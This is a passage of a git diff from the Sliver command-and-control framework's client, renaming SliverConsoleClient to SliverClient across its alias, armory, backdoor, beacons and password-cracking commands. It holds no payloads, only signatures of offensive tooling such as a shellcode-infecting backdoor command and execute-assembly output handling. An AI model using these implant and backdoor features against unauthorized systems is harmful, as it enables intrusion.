*console.SliverConsoleClient, args []str } // PrintAliases - Print a list of loaded aliases -func PrintAliases(con *console.SliverConsoleClient) { +func PrintAliases(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -89,7 +89,7 @@ func PrintAliases(con *console.SliverConsoleClient) { } // AliasCommandNameCompleter - Completer for installed extensions command names -func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string { +func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string { results := []string{} for name := range loadedAliases { if strings.HasPrefix(name, prefix) { diff --git a/client/command/alias/commands.go b/client/command/alias/commands.go index 5b7bff8727..a30af147cd 100644 --- a/client/command/alias/commands.go +++ b/client/command/alias/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the `alias` command and its child commands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { aliasCmd := &cobra.Command{ Use: consts.AliasesStr, Short: "List current aliases", diff --git a/client/command/alias/install.go b/client/command/alias/install.go index e63ea0f374..6914c04085 100644 --- a/client/command/alias/install.go +++ b/client/command/alias/install.go @@ -34,7 +34,7 @@ import ( ) // AliasesInstallCmd - Install an alias -func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { aliasLocalPath := args[0] fi, err := os.Stat(aliasLocalPath) if os.IsNotExist(err) { @@ -49,7 +49,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } // Install an extension from a directory -func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) { +func installFromDir(aliasLocalPath string, con *console.SliverClient) { manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName)) if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) @@ -102,7 +102,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) { } // Install an extension from a .tar.gz file -func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string { +func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err) @@ -153,7 +153,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl return &installPath } -func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error { +func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error { data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator)))) if err != nil { return err diff --git a/client/command/alias/load.go b/client/command/alias/load.go index 4b6237267b..ed4e31df32 100644 --- a/client/command/alias/load.go +++ b/client/command/alias/load.go @@ -124,7 +124,7 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target } // AliasesLoadCmd - Locally load a alias into the Sliver shell. -func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") alias, err := LoadAlias(dirPath, cmd.Root(), con) @@ -136,7 +136,7 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // LoadAlias - Load an alias into the Sliver shell from a given directory -func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) { +func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) { // retrieve alias manifest var err error manifestPath, err = filepath.Abs(manifestPath) @@ -241,7 +241,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) { return alias, nil } -func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -475,7 +475,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintSpawnDLLOutput - Prints the output of a spawn dll command -func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) { +func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult()) if outFilePath != nil { outFilePath.Write([]byte(spawnDllResp.GetResult())) @@ -484,7 +484,7 @@ func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFil } // PrintSideloadOutput - Prints the output of a sideload command -func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) { +func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult()) if outFilePath != nil { outFilePath.Write([]byte(sideloadResp.GetResult())) @@ -493,7 +493,7 @@ func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFil } // PrintAssemblyOutput - Prints the output of an execute-assembly command -func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) { +func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput())) if outFilePath != nil { outFilePath.Write(execAsmResp.GetOutput()) diff --git a/client/command/alias/remove.go b/client/command/alias/remove.go index 3a7fb7ab43..c3b075b5b7 100644 --- a/client/command/alias/remove.go +++ b/client/command/alias/remove.go @@ -32,7 +32,7 @@ import ( ) // AliasesRemoveCmd - Locally load a alias into the Sliver shell. -func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { @@ -55,7 +55,7 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // RemoveAliasByCommandName - Remove an alias by command name -func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error { +func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") } diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index 14d55069f4..c32ef13fb2 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -105,7 +105,7 @@ var ( ) // ArmoryCmd - The main armory command -func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { armoriesConfig := assets.GetArmoriesConfig() con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig)) clientConfig := parseArmoryHTTPConfig(cmd) @@ -240,7 +240,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action { } // PrintArmoryPackages - Prints the armory packages -func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) { +func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { width = 1 @@ -331,7 +331,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte } // PrintArmoryBundles - Prints the armory bundles -func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) { +func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Bundles" + console.Normal) diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go index fe2649dd16..80cb290e18 100644 --- a/client/command/armory/commands.go +++ b/client/command/armory/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the `armory` command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { armoryCmd := &cobra.Command{ Use: consts.ArmoryStr, Short: "Automatically download and install extensions/aliases", diff --git a/client/command/armory/install.go b/client/command/armory/install.go index 730b40ed34..8c53a093c2 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -39,7 +39,7 @@ import ( var ErrPackageNotFound = errors.New("package not found") // ArmoryInstallCmd - The armory install command -func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") if name == "" { @@ -77,7 +77,7 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.PrintErrorf("No package or bundle named '%s' was found", name) } -func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { for _, pkgName := range bundle.Packages { err := installPackageByName(pkgName, clientConfig, con) if err != nil { @@ -86,7 +86,7 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con } } -func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { aliases, extensions := packagesInCache() for _, alias := range aliases { if alias.CommandName == name || name == "all" { @@ -112,7 +112,7 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso return ErrPackageNotFound } -func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { err := installAliasPackageByName(alias.CommandName, clientConfig, con) if err != nil { con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err) @@ -120,7 +120,7 @@ func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con } } -func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -186,7 +186,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con * return nil } -func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { deps := make(map[string]struct{}) resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) sliverMenu := con.App.Menu(constants.ImplantMenu) @@ -209,7 +209,7 @@ func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTP const maxDepDepth = 10 // Arbitrary recursive limit for dependencies -func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) { +func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) @@ -242,7 +242,7 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con) } -func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error { +func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { var entry *pkgCacheEntry pkgCache.Range(func(key, value interface{}) bool { cacheEntry := value.(pkgCacheEntry) diff --git a/client/command/armory/search.go b/client/command/armory/search.go index b20a8967c3..dda619ac50 100644 --- a/client/command/armory/search.go +++ b/client/command/armory/search.go @@ -29,7 +29,7 @@ import ( ) // ArmorySearchCmd - Search for packages by name -func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) refresh(clientConfig) diff --git a/client/command/armory/update.go b/client/command/armory/update.go index 76676355e9..4f14d0006b 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -31,7 +31,7 @@ import ( ) // ArmoryUpdateCmd - Update all installed extensions/aliases -func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) refresh(clientConfig) @@ -66,7 +66,7 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string { +func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string { cachedAliases, _ := packagesInCache() results := []string{} for _, aliasManifestPath := range assets.GetInstalledAliasManifests() { @@ -89,7 +89,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons return results } -func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string { +func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string { _, cachedExtensions := packagesInCache() results := []string{} for _, extManifestPath := range assets.GetInstalledExtensionManifests() { diff --git a/client/command/backdoor/backdoor.go b/client/command/backdoor/backdoor.go index 9cdc64de29..af220da2c4 100644 --- a/client/command/backdoor/backdoor.go +++ b/client/command/backdoor/backdoor.go @@ -28,7 +28,7 @@ import ( ) // BackdoorCmd - Command to inject implant code into an existing binary -func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/backdoor/commands.go b/client/command/backdoor/commands.go index 8fa7b4bbff..615750479c 100644 --- a/client/command/backdoor/commands.go +++ b/client/command/backdoor/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { backdoorCmd := &cobra.Command{ Use: consts.BackdoorStr, Short: "Infect a remote file with a sliver shellcode", diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index 409d8ee824..5abfa659c9 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -36,7 +36,7 @@ import ( ) // BeaconsCmd - Display/interact with beacons -func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -94,7 +94,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } // PrintBeacons - Display a list of beacons -func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) { +func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { if len(beacons) == 0 { con.PrintInfof("No beacons 🙁\n") return @@ -103,7 +103,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp con.Printf("%s\n", tw.Render()) } -func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer { +func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer { width, _, err := term.GetSize(0) if err != nil { width = 999 diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index d526d7412d..9849017446 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -17,7 +17,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { beaconsCmd := &cobra.Command{ Use: consts.BeaconsStr, Short: "Manage beacons", @@ -79,7 +79,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { } // BeaconIDCompleter completes beacon IDs -func BeaconIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func BeaconIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/beacons/helpers.go b/client/command/beacons/helpers.go index e12b8f7183..37473b9975 100644 --- a/client/command/beacons/helpers.go +++ b/client/command/beacons/helpers.go @@ -43,7 +43,7 @@ var ( ) // SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions -func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) { +func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) @@ -102,7 +102,7 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) { return nil, ErrNoSelection } -func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) { +func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) @@ -120,7 +120,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea return nil, ErrBeaconNotFound } -func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) { +func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) diff --git a/client/command/beacons/prune.go b/client/command/beacons/prune.go index 8c0ea55078..b3e48cd0dd 100644 --- a/client/command/beacons/prune.go +++ b/client/command/beacons/prune.go @@ -30,7 +30,7 @@ import ( ) // BeaconsPruneCmd - Prune stale beacons automatically -func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { duration, _ := cmd.Flags().GetString("duration") pruneDuration, err := time.ParseDuration(duration) if err != nil { diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index f3d8ee77d4..c8974b5d92 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -25,7 +25,7 @@ import ( ) // BeaconsRmCmd - Display/interact with beacons -func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon, err := SelectBeacon(con) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/beacons/watch.go b/client/command/beacons/watch.go index 210de23102..f5a6699b75 100644 --- a/client/command/beacons/watch.go +++ b/client/command/beacons/watch.go @@ -31,7 +31,7 @@ import ( ) // BeaconsWatchCmd - Watch your beacons in real-ish time -func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { done := waitForInput() defer func() { con.Printf(console.UpN+console.Clearln+"\r", 1) diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index ade5846ab4..42e7b9a008 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -33,7 +33,7 @@ import ( ) // BuildersCmd - List external builders -func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s", err) @@ -46,7 +46,7 @@ func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) { +func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ diff --git a/client/command/builders/commands.go b/client/command/builders/commands.go index 882cb50952..d80cbe44fe 100644 --- a/client/command/builders/commands.go +++ b/client/command/builders/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { buildersCmd := &cobra.Command{ Use: consts.BuildersStr, Short: "List external builders", diff --git a/client/command/command.go b/client/command/command.go index 2afd028b3e..33318adf12 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -21,12 +21,11 @@ package command import ( "strings" + client "github.com/bishopfox/sliver/client/console" "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" - - client "github.com/bishopfox/sliver/client/console" ) const defaultTimeout = 60 @@ -105,7 +104,7 @@ func RestrictTargets(filters ...string) map[string]string { // @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. // @menu - The command menu to which the commands should be bound (either server or implant menu). // @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. -func bind(group string, menu *cobra.Command, con *client.SliverConsoleClient, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { +func bind(group string, menu *cobra.Command, con *client.SliverClient, cmds ...func(con *client.SliverClient) []*cobra.Command) { found := false // Ensure the given command group is available in the menu. diff --git a/client/command/crack/commands.go b/client/command/crack/commands.go index 44b0982c0c..7fc4e08df0 100644 --- a/client/command/crack/commands.go +++ b/client/command/crack/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { crackCmd := &cobra.Command{ Use: consts.CrackStr, Short: "Crack: GPU password cracking", diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index cd7af7c7cd..e69de1bd1c 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -36,7 +36,7 @@ import ( ) // CrackWordlistsCmd - Manage GPU cracking stations -func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { con.PrintErrorf("%s\n", err) @@ -56,7 +56,7 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } // CrackRulesCmd - Manage GPU cracking stations -func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { con.PrintErrorf("%s\n", err) @@ -76,7 +76,7 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } // CrackHcstat2Cmd - Manage GPU cracking stations -func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { con.PrintErrorf("%s\n", err) @@ -95,7 +95,7 @@ func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) { +func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{"Name", "Size"}) @@ -105,7 +105,7 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsole con.Printf("%s\n", tw.Render()) } -func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) { +func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { wordlistTable := table.NewWriter() wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal) wordlistTable.SetStyle(settings.GetTableStyle(con)) @@ -163,7 +163,7 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC } // CrackWordlistsAddCmd - Manage GPU cracking stations -func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -207,7 +207,7 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, } // CrackRulesAddCmd - add a rules file -func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -251,7 +251,7 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // CrackHcstat2AddCmd - add a hcstat2 file -func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -294,7 +294,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar addCrackFile(hcstat2, crackFile, con) } -func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) { +func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) { digest := sha256.New() wordlistReader := io.TeeReader(localFile, digest) @@ -403,7 +403,7 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error } // CrackWordlistsRmCmd - Manage GPU cracking stations -func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var wordlistName string if len(args) > 0 { wordlistName = args[0] @@ -437,7 +437,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } // CrackRulesRmCmd - Manage GPU cracking stations -func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var rulesName string if len(args) > 0 { rulesName = args[0] @@ -471,7 +471,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // CrackHcstat2RmCmd - remove a hcstat2 file -func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var hcstat2Name string if len(args) > 0 { hcstat2Name = args[0] diff --git a/client/command/crack/crack.go b/client/command/crack/crack.go index 829933e132..163f0d8e9a 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -33,7 +33,7 @@ import ( ) // CrackCmd - GPU password cracking interface -func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if !AreCrackersOnline(con) { PrintNoCrackstations(con) } else { @@ -58,7 +58,7 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // CrackStationsCmd - Manage GPU cracking stations -func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -71,11 +71,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func PrintNoCrackstations(con *console.SliverConsoleClient) { +func PrintNoCrackstations(con *console.SliverClient) { con.PrintInfof("No crackstations connected to server\n") } -func AreCrackersOnline(con *console.SliverConsoleClient) bool { +func AreCrackersOnline(con *console.SliverClient) bool { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { return false @@ -83,7 +83,7 @@ func AreCrackersOnline(con *console.SliverConsoleClient) bool { return len(crackers.Crackstations) > 0 } -func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) { +func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) { sort.Slice(crackers, func(i, j int) bool { return crackers[i].Name < crackers[j].Name }) @@ -96,7 +96,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsole } } -func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) { +func printCracker(cracker 